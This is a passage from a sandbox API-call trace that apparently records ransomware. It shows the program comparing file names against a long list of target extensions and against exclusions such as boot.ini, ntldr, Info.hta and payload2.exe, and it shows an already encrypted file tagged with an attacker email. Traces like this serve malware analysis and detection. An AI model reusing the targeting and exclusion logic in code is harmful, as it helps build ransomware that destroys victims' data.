lpString2="op.ini") returned -1 [0266.752] lstrlenW (lpString=".accdc") returned 6 [0266.752] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0266.752] lstrlenW (lpString=".accde") returned 6 [0266.752] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0266.752] lstrlenW (lpString=".accdt") returned 6 [0266.752] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0266.752] lstrlenW (lpString=".accdw") returned 6 [0266.752] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0266.752] lstrlenW (lpString=".adb") returned 4 [0266.752] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".adp") returned 4 [0266.752] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".ai") returned 3 [0266.752] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0266.752] lstrlenW (lpString=".ai3") returned 4 [0266.752] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0266.752] lstrlenW (lpString=".ai4") returned 4 [0266.753] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".ai5") returned 4 [0266.753] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".ai6") returned 4 [0266.753] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".ai7") returned 4 [0266.753] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".ai8") returned 4 [0266.753] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".anim") returned 5 [0266.753] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0266.753] lstrlenW (lpString=".arw") returned 4 [0266.753] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".as") returned 3 [0266.753] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0266.753] lstrlenW (lpString=".asa") returned 4 [0266.753] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".asc") returned 4 [0266.753] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".ascx") returned 5 [0266.753] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0266.753] lstrlenW (lpString=".asm") returned 4 [0266.753] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".asmx") returned 5 [0266.753] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0266.753] lstrlenW (lpString=".asp") returned 4 [0266.753] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".aspx") returned 5 [0266.753] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0266.753] lstrlenW (lpString=".asr") returned 4 [0266.753] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".asx") returned 4 [0266.753] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".avi") returned 4 [0266.753] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0266.753] lstrlenW (lpString=".avs") returned 4 [0266.753] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".backup") returned 7 [0266.754] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0266.754] lstrlenW (lpString=".bak") returned 4 [0266.754] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".bay") returned 4 [0266.754] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".bd") returned 3 [0266.754] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0266.754] lstrlenW (lpString=".bin") returned 4 [0266.754] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".bmp") returned 4 [0266.754] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".bz2") returned 4 [0266.754] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".c") returned 2 [0266.754] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0266.754] lstrlenW (lpString=".cdr") returned 4 [0266.754] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".cer") returned 4 [0266.754] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".cf") returned 3 [0266.754] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0266.754] lstrlenW (lpString=".cfc") returned 4 [0266.754] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".cfm") returned 4 [0266.754] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0266.754] lstrlenW (lpString=".cfml") returned 5 [0266.754] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0266.754] lstrlenW (lpString=".cfu") returned 4 [0266.754] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".chm") returned 4 [0266.755] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".cin") returned 4 [0266.755] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".class") returned 6 [0266.755] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0266.755] lstrlenW (lpString=".clx") returned 4 [0266.755] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".config") returned 7 [0266.755] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0266.755] lstrlenW (lpString=".cpp") returned 4 [0266.755] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".cr2") returned 4 [0266.755] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".crt") returned 4 [0266.755] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".crw") returned 4 [0266.755] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".cs") returned 3 [0266.755] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0266.755] lstrlenW (lpString=".css") returned 4 [0266.755] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".csv") returned 4 [0266.755] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".cub") returned 4 [0266.755] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".dae") returned 4 [0266.755] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".dat") returned 4 [0266.755] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".db") returned 3 [0266.755] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0266.755] lstrlenW (lpString=".dbf") returned 4 [0266.755] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0266.755] lstrlenW (lpString=".dbx") returned 4 [0266.755] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dc3") returned 4 [0266.756] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dcm") returned 4 [0266.756] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dcr") returned 4 [0266.756] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".der") returned 4 [0266.756] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dib") returned 4 [0266.756] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dic") returned 4 [0266.756] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dif") returned 4 [0266.756] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".divx") returned 5 [0266.756] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0266.756] lstrlenW (lpString=".djvu") returned 5 [0266.756] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0266.756] lstrlenW (lpString=".dng") returned 4 [0266.756] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".doc") returned 4 [0266.756] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".docm") returned 5 [0266.756] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0266.756] lstrlenW (lpString=".docx") returned 5 [0266.756] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0266.756] lstrlenW (lpString=".dot") returned 4 [0266.756] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dotm") returned 5 [0266.756] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0266.756] lstrlenW (lpString=".dotx") returned 5 [0266.756] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0266.756] lstrlenW (lpString=".dpx") returned 4 [0266.756] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dqy") returned 4 [0266.756] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0266.756] lstrlenW (lpString=".dsn") returned 4 [0266.757] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".dt") returned 3 [0266.757] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0266.757] lstrlenW (lpString=".dtd") returned 4 [0266.757] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".dwg") returned 4 [0266.757] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".dwt") returned 4 [0266.757] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".dx") returned 3 [0266.757] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0266.757] lstrlenW (lpString=".dxf") returned 4 [0266.757] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".edml") returned 5 [0266.757] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0266.757] lstrlenW (lpString=".efd") returned 4 [0266.757] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".elf") returned 4 [0266.757] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".emf") returned 4 [0266.757] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".emz") returned 4 [0266.757] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".epf") returned 4 [0266.757] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".eps") returned 4 [0266.757] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".epsf") returned 5 [0266.757] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0266.757] lstrlenW (lpString=".epsp") returned 5 [0266.757] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0266.757] lstrlenW (lpString=".erf") returned 4 [0266.757] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".exr") returned 4 [0266.757] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0266.757] lstrlenW (lpString=".f4v") returned 4 [0266.758] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".fido") returned 5 [0266.758] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0266.758] lstrlenW (lpString=".flm") returned 4 [0266.758] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".flv") returned 4 [0266.758] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".frm") returned 4 [0266.758] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".fxg") returned 4 [0266.758] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".geo") returned 4 [0266.758] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".gif") returned 4 [0266.758] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".grs") returned 4 [0266.758] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".gz") returned 3 [0266.758] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0266.758] lstrlenW (lpString=".h") returned 2 [0266.758] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0266.758] lstrlenW (lpString=".hdr") returned 4 [0266.758] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".hpp") returned 4 [0266.758] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".hta") returned 4 [0266.758] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".htc") returned 4 [0266.758] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".htm") returned 4 [0266.758] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".html") returned 5 [0266.758] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0266.758] lstrlenW (lpString=".icb") returned 4 [0266.758] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0266.758] lstrlenW (lpString=".ics") returned 4 [0266.758] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0266.759] lstrlenW (lpString=".iff") returned 4 [0266.759] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0266.759] lstrlenW (lpString=".inc") returned 4 [0266.759] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0266.759] lstrlenW (lpString=".indd") returned 5 [0266.759] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0266.759] lstrlenW (lpString=".ini") returned 4 [0266.759] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0266.759] lstrlenW (lpString="desktop.ini") returned 11 [0266.759] lstrlenW (lpString=".html") returned 5 [0266.759] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0266.759] lstrlenW (lpString="desktop.ini") returned 11 [0266.759] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0266.759] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0266.759] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0266.759] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0266.759] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0266.759] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0266.759] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0266.759] lstrcmpiW (lpString1="payload2.exe", lpString2="desktop.ini") returned 1 [0266.759] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.759] FindNextFileW (in: hFindFile=0x31b1e8, lpFindFileData=0x373f808 | out: lpFindFileData=0x373f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbcad9530, ftCreationTime.dwHighDateTime=0x1d543f6, ftLastAccessTime.dwLowDateTime=0xbcad9530, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xbcaff690, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html", cAlternateFileName="DESKTO~1.HTM")) returned 1 [0266.759] lstrlenW (lpString="desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html") returned 49 [0266.759] lstrlenW (lpString=".1cd") returned 4 [0266.759] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0266.759] lstrlenW (lpString=".3ds") returned 4 [0266.759] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0266.759] lstrlenW (lpString=".3fr") returned 4 [0266.759] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0266.759] lstrlenW (lpString=".3g2") returned 4 [0266.759] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0266.759] lstrlenW (lpString=".3gp") returned 4 [0266.759] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".7z") returned 3 [0266.760] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0266.760] lstrlenW (lpString=".accda") returned 6 [0266.760] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1 [0266.760] lstrlenW (lpString=".accdb") returned 6 [0266.760] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1 [0266.760] lstrlenW (lpString=".accdc") returned 6 [0266.760] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1 [0266.760] lstrlenW (lpString=".accde") returned 6 [0266.760] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1 [0266.760] lstrlenW (lpString=".accdt") returned 6 [0266.760] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1 [0266.760] lstrlenW (lpString=".accdw") returned 6 [0266.760] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1 [0266.760] lstrlenW (lpString=".adb") returned 4 [0266.760] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".adp") returned 4 [0266.760] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".ai") returned 3 [0266.760] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0266.760] lstrlenW (lpString=".ai3") returned 4 [0266.760] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".ai4") returned 4 [0266.760] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".ai5") returned 4 [0266.760] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".ai6") returned 4 [0266.760] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".ai7") returned 4 [0266.760] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".ai8") returned 4 [0266.760] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0266.760] lstrlenW (lpString=".anim") returned 5 [0266.760] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0266.760] lstrlenW (lpString=".arw") returned 4 [0266.760] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".as") returned 3 [0266.761] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0266.761] lstrlenW (lpString=".asa") returned 4 [0266.761] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".asc") returned 4 [0266.761] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".ascx") returned 5 [0266.761] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0266.761] lstrlenW (lpString=".asm") returned 4 [0266.761] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".asmx") returned 5 [0266.761] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0266.761] lstrlenW (lpString=".asp") returned 4 [0266.761] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".aspx") returned 5 [0266.761] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0266.761] lstrlenW (lpString=".asr") returned 4 [0266.761] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".asx") returned 4 [0266.761] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".avi") returned 4 [0266.761] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".avs") returned 4 [0266.761] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".backup") returned 7 [0266.761] lstrcmpiW (lpString1=".backup", lpString2="r].html") returned -1 [0266.761] lstrlenW (lpString=".bak") returned 4 [0266.761] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".bay") returned 4 [0266.761] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".bd") returned 3 [0266.761] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0266.761] lstrlenW (lpString=".bin") returned 4 [0266.761] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".bmp") returned 4 [0266.761] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0266.761] lstrlenW (lpString=".bz2") returned 4 [0266.762] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".c") returned 2 [0266.762] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0266.762] lstrlenW (lpString=".cdr") returned 4 [0266.762] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cer") returned 4 [0266.762] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cf") returned 3 [0266.762] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0266.762] lstrlenW (lpString=".cfc") returned 4 [0266.762] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cfm") returned 4 [0266.762] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cfml") returned 5 [0266.762] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0266.762] lstrlenW (lpString=".cfu") returned 4 [0266.762] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".chm") returned 4 [0266.762] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cin") returned 4 [0266.762] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".class") returned 6 [0266.762] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1 [0266.762] lstrlenW (lpString=".clx") returned 4 [0266.762] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".config") returned 7 [0266.762] lstrcmpiW (lpString1=".config", lpString2="r].html") returned -1 [0266.762] lstrlenW (lpString=".cpp") returned 4 [0266.762] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cr2") returned 4 [0266.762] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".crt") returned 4 [0266.762] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".crw") returned 4 [0266.762] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0266.762] lstrlenW (lpString=".cs") returned 3 [0266.763] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0266.763] lstrlenW (lpString=".css") returned 4 [0266.763] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".csv") returned 4 [0266.763] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".cub") returned 4 [0266.763] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dae") returned 4 [0266.763] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dat") returned 4 [0266.763] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".db") returned 3 [0266.763] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0266.763] lstrlenW (lpString=".dbf") returned 4 [0266.763] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dbx") returned 4 [0266.763] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dc3") returned 4 [0266.763] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dcm") returned 4 [0266.763] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dcr") returned 4 [0266.763] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".der") returned 4 [0266.763] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dib") returned 4 [0266.763] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dic") returned 4 [0266.763] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".dif") returned 4 [0266.763] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0266.763] lstrlenW (lpString=".divx") returned 5 [0266.763] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0266.763] lstrlenW (lpString=".djvu") returned 5 [0266.763] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0266.763] lstrlenW (lpString=".dng") returned 4 [0266.764] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".doc") returned 4 [0266.764] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".docm") returned 5 [0266.764] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0266.764] lstrlenW (lpString=".docx") returned 5 [0266.764] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0266.764] lstrlenW (lpString=".dot") returned 4 [0266.764] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dotm") returned 5 [0266.764] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0266.764] lstrlenW (lpString=".dotx") returned 5 [0266.764] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0266.764] lstrlenW (lpString=".dpx") returned 4 [0266.764] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dqy") returned 4 [0266.764] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dsn") returned 4 [0266.764] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dt") returned 3 [0266.764] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0266.764] lstrlenW (lpString=".dtd") returned 4 [0266.764] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dwg") returned 4 [0266.764] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dwt") returned 4 [0266.764] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".dx") returned 3 [0266.764] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0266.764] lstrlenW (lpString=".dxf") returned 4 [0266.764] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".edml") returned 5 [0266.764] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0266.764] lstrlenW (lpString=".efd") returned 4 [0266.764] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0266.764] lstrlenW (lpString=".elf") returned 4 [0266.765] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".emf") returned 4 [0266.765] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".emz") returned 4 [0266.765] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".epf") returned 4 [0266.765] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".eps") returned 4 [0266.765] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".epsf") returned 5 [0266.765] lstrcmpiW 